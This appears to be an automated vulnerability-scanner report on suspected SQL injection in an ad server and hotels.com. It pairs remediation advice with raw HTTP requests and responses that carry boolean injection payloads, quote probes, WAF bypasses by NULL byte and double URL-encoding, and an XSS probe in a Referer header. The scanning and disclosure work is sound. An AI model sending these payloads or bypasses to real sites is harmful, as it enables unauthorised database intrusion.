SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.
Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.
Issue remediation
The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.
You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:
One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.
The atf parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the atf parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The JEB2 cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the JEB2 cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /addyn%7C3.0%7C327%7C2812308%7C0%7C170%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599331799 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Home/0,,12306,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID%00'; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18961
GET /addyn%7C3.0%7C327%7C2812308%7C0%7C170%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599331799 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Home/0,,12306,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID%00''; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 592
document.write("\n"); var cb = Math.random(); var d = document; var iframe = "&fr=" + (window != top); var ref = ""; try { if (window != top) { ref = "&rf="+escape(d.referrer); } } catch (ignore) { }
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /addyn%7C3.0%7C327%7C2812308%7C0%7C170%7CADTECH%2527;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599331799 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Home/0,,12306,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18950
GET /addyn%7C3.0%7C327%7C2812308%7C0%7C170%7CADTECH%2527%2527;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599331799 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Home/0,,12306,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 426
The Referer HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the Referer HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of the Referer HTTP header as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /addyn%7C3.0%7C327%7C2816967%7C0%7C168%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599353462 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.google.com/search?hl=en&q=%2527 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18961
GET /addyn%7C3.0%7C327%7C2816967%7C0%7C168%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599353462 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.google.com/search?hl=en&q=%2527%2527 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 1712
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /addyn%7C3.0%7C327%7C2816967%7C0%7C168%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599353462 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1%00' Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18950
GET /addyn%7C3.0%7C327%7C2816967%7C0%7C168%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599353462 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1%00'' Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 475
The JEB2 cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the JEB2 cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /addyn%7C3.0%7C327%7C2816968%7C0%7C1%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599345982 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID'; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18902
GET /addyn%7C3.0%7C327%7C2816968%7C0%7C1%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599345982 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID''; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 1710
The loc parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the loc parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /addyn%7C3.0%7C327%7C2816968%7C0%7C1%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599345982'%20and%201%3d1--%20 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18913
function __flushCode() { if (!__bCodeFlushed) { var span = parent.document.createElement("SPAN" ...[SNIP]... ion\")\r\n"+ "end if"; window.execScript(sVersion_2816968, "VBScript"); return swVersion_; } var AT_MULTICLICK=new Array; var AT_MULTICOUNT=new Array; var AT_CLICKVAR=new Array; var AT_CLICK = "http://store.nike.com/gb/en_gb/?l=shop,pdp,ctr-inline/cid-300/pid-406900&cp=EUNS_OT_FBJUL11_UK6"; var AT_IMGCLICK=""; var AT_TARGET="_blank"; var AT_MICROSITE=""; // width=xxx height=yyy AT_MULTICLICK[1]=""; AT_MULTICLICK[2]=""; AT_MULTICLICK[3]=""; AT_MULTICLICK[4]=""; AT_MULTICLICK[5]=""; AT_MULTICLICK[6]=""; AT_MULTICLICK[7]=""; AT_MULTICLICK[8]=""; AT_MULTICLICK[9]=""; AT_CLICKVAR[0]="clickTAG"; AT_CLICKVAR[1]="clickTAG1"; AT_CLICKVAR[2]="clickTAG2"; AT_CLICKVAR[3]="clickTAG3"; AT_CLICKVAR[4]="clickTAG4"; AT_CLICKVAR[5]="clickTAG5"; AT_CLICKVAR[6]="clickTAG6"; AT_CLICKVAR[7]="clickTAG7"; AT_CLICKVAR[8]="clickTAG8"; AT_CLICKVAR[9]="clickTAG9"; AT_MULTICOUNT[1]=""; var AT_WIDTH_HEIGHT="width=468 height=60"; var AT_FLASH="http://aka-cdn-ns.adtech.de/apps/20/Ad6109716St3Sz1Sq100956575V1Id13/NikeSeitiroUK_468x60.swf"; var AT_TRANSPARENT=false; var AT_FLASHVERSION=8; var AT_FLASH_BGCOLOR=""; var AT_FlaQual="autohigh"; var AT_FlashClick=false; var AT_LAYERMANUALRESIZE = false; var AT_BASE="http://aka-cdn-ns.adtech.de/apps/20/Ad6109716St3Sz1Sq100956575V1Id13/"; // Nachladepfad fuer Flash Filme (http://.../) var AT_IMAGE="http://aka-cdn-ns.adtech.de/apps/20/Ad6109716St3Sz1Sq100956575V1Id13/NikeSeitiroUk_468x60.gif"; var AT_TEXT=""; var AT_ALTIMAGEWIDTH = "468"; var AT_ALTIMAGEHEIGHT = "60"; var AT_ZINDEX = "0"; var AT_WMODE = "opaque"; var AT_EXPANDABLE="false"; // width:100px;height:70px; Zus?tzlich Fakepopup an position 0x0 machen var AT_FAKEPOPUP=false; var AT_FAKEPOPUP_left=100; var AT_FAKEPOPUP_top=100; var AT_FAKEPOPUP_autoclose=''; var AT_FAKEPOPUP_start_opened=true; var AT_CURRENTDOMAIN= window.location.host; var AT_VARSTRING; //make variable names unique on page var AT_MULTICLICK2816968=AT_MULTICLICK; var AT_CLICK2816968=AT_CLICK; var AT_TARGET2816968=AT_TARGET; var AT_IMGCLICK2816968=AT_IMGCLICK; AT_CLICKVAR[0]=AT_CLICKVAR[0]?AT_CLICKVAR[0]:"clickTAG"; var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink|327|2816968| ...[SNIP]...
Request 2
GET /addyn%7C3.0%7C327%7C2816968%7C0%7C1%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599345982'%20and%201%3d2--%20 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18902
function __flushCode() { if (!__bCodeFlushed) { var span = parent.document.createElement("SPAN" ...[SNIP]... ion\")\r\n"+ "end if"; window.execScript(sVersion_2816968, "VBScript"); return swVersion_; } var AT_MULTICLICK=new Array; var AT_MULTICOUNT=new Array; var AT_CLICKVAR=new Array; var AT_CLICK = "http://www.barclays.co.uk/footballoffset"; var AT_IMGCLICK=""; var AT_TARGET="_blank"; var AT_MICROSITE=""; // width=xxx height=yyy AT_MULTICLICK[1]=""; AT_MULTICLICK[2]=""; AT_MULTICLICK[3]=""; AT_MULTICLICK[4]=""; AT_MULTICLICK[5]=""; AT_MULTICLICK[6]=""; AT_MULTICLICK[7]=""; AT_MULTICLICK[8]=""; AT_MULTICLICK[9]=""; AT_CLICKVAR[0]="clickTAG"; AT_CLICKVAR[1]="clickTAG1"; AT_CLICKVAR[2]="clickTAG2"; AT_CLICKVAR[3]="clickTAG3"; AT_CLICKVAR[4]="clickTAG4"; AT_CLICKVAR[5]="clickTAG5"; AT_CLICKVAR[6]="clickTAG6"; AT_CLICKVAR[7]="clickTAG7"; AT_CLICKVAR[8]="clickTAG8"; AT_CLICKVAR[9]="clickTAG9"; AT_MULTICOUNT[1]=""; var AT_WIDTH_HEIGHT="width=468 height=60"; var AT_FLASH="http://aka-cdn-ns.adtech.de/apps/14/Ad6109710St3Sz1Sq101119312V0Id115/OffsetMortgage_route1_468x60_v4.swf"; var AT_TRANSPARENT=false; var AT_FLASHVERSION=8; var AT_FLASH_BGCOLOR=""; var AT_FlaQual="autohigh"; var AT_FlashClick=false; var AT_LAYERMANUALRESIZE = false; var AT_BASE="http://aka-cdn-ns.adtech.de/apps/14/Ad6109710St3Sz1Sq101119312V0Id115/"; // Nachladepfad fuer Flash Filme (http://.../) var AT_IMAGE="http://aka-cdn-ns.adtech.de/apps/14/Ad6109710St3Sz1Sq101119312V0Id115/OffsetMortgage_route1_468x60_Backup.gif"; var AT_TEXT=""; var AT_ALTIMAGEWIDTH = "468"; var AT_ALTIMAGEHEIGHT = "60"; var AT_ZINDEX = "0"; var AT_WMODE = "opaque"; var AT_EXPANDABLE="false"; // width:100px;height:70px; Zus?tzlich Fakepopup an position 0x0 machen var AT_FAKEPOPUP=false; var AT_FAKEPOPUP_left=100; var AT_FAKEPOPUP_top=100; var AT_FAKEPOPUP_autoclose=''; var AT_FAKEPOPUP_start_opened=true; var AT_CURRENTDOMAIN= window.location.host; var AT_VARSTRING; //make variable names unique on page var AT_MULTICLICK2816968=AT_MULTICLICK; var AT_CLICK2816968=AT_CLICK; var AT_TARGET2816968=AT_TARGET; var AT_IMGCLICK2816968=AT_IMGCLICK; AT_CLICKVAR[0]=AT_CLICKVAR[0]?AT_CLICKVAR[0]:"clickTAG"; var AT_MULTICLICKSTR="?"+AT_CLICKVAR[0]+"=" + escape("http://adserver.adtech.de/adlink|327|2816968|0|1|AdId=6109710;BnId=115; ...[SNIP]...
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 1. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /addyn%7C3.0%7C327%7C2816969%7C0%7C170%7CADTECH'%20and%201%3d1--%20;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599348458 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 427
var adcount_2816969_1_=new Image(); adcount_2816969_1_.src="http://adserver.adtech.de/adcount|2.0|327|2816969|0|170|AdId=6638640;BnId=2;ct=2204870089;st=783;adcid=1;itime=599386577;reqtype=5;";
Request 2
GET /addyn%7C3.0%7C327%7C2816969%7C0%7C170%7CADTECH'%20and%201%3d2--%20;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599348458 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18950
The User-Agent HTTP header appears to be vulnerable to SQL injection attacks. A single quote was submitted in the User-Agent HTTP header, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /addyn%7C3.0%7C327%7C2816969%7C0%7C170%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599348458 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1' Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 18961
GET /addyn%7C3.0%7C327%7C2816969%7C0%7C170%7CADTECH;loc=100;target=_blank;sub1=[subst];grp=[group];misc=1317599348458 HTTP/1.1 Host: adserver.adtech.de Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1'' Accept: */* Referer: http://www.premierleague.com/page/Headlines/0,,12306~2469333,00.html Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 1712
1.10. http://adserver.adtech.de/addyn|3.0|999|3106006|0|168|ADTECH [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://adserver.adtech.de
Path:
/addyn|3.0|999|3106006|0|168|ADTECH
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request 1
GET /addyn|3.0|999|3106006|0|168|ADTECH;cookie=info;loc=100;target=_blank;key=key1+key2+key3+key4;grp=127;misc=1317599832812&1%2527=1 HTTP/1.1 Host: adserver.adtech.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 1
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 19466
GET /addyn|3.0|999|3106006|0|168|ADTECH;cookie=info;loc=100;target=_blank;key=key1+key2+key3+key4;grp=127;misc=1317599832812&1%2527%2527=1 HTTP/1.1 Host: adserver.adtech.de User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.manutd.com/Search-Results.aspx?qs=manutd_frontend&catTxt=&searchText=xss75931%3Cscript%3Ealert(document.location)%3C/script%3E14fb8fbf954 Cookie: JEB2=NOID; OptOut=we will not set any more cookies
Response 2
HTTP/1.0 200 OK Connection: close Server: Adtech Adserver Cache-Control: no-cache Content-Type: application/x-javascript Content-Length: 2131
The NGUserID cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the NGUserID cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
The SSPV cookie appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the SSPV cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The SSRT cookie appears to be vulnerable to SQL injection attacks. The payloads 17075075'%20or%201%3d1--%20 and 17075075'%20or%201%3d2--%20 were each submitted in the SSRT cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The __utmc cookie appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the __utmc cookie. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
1.15. http://www.hotels.com/compare/hotel_dockingbar.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.hotels.com
Path:
/compare/hotel_dockingbar.html
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the REST URL parameter 2. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
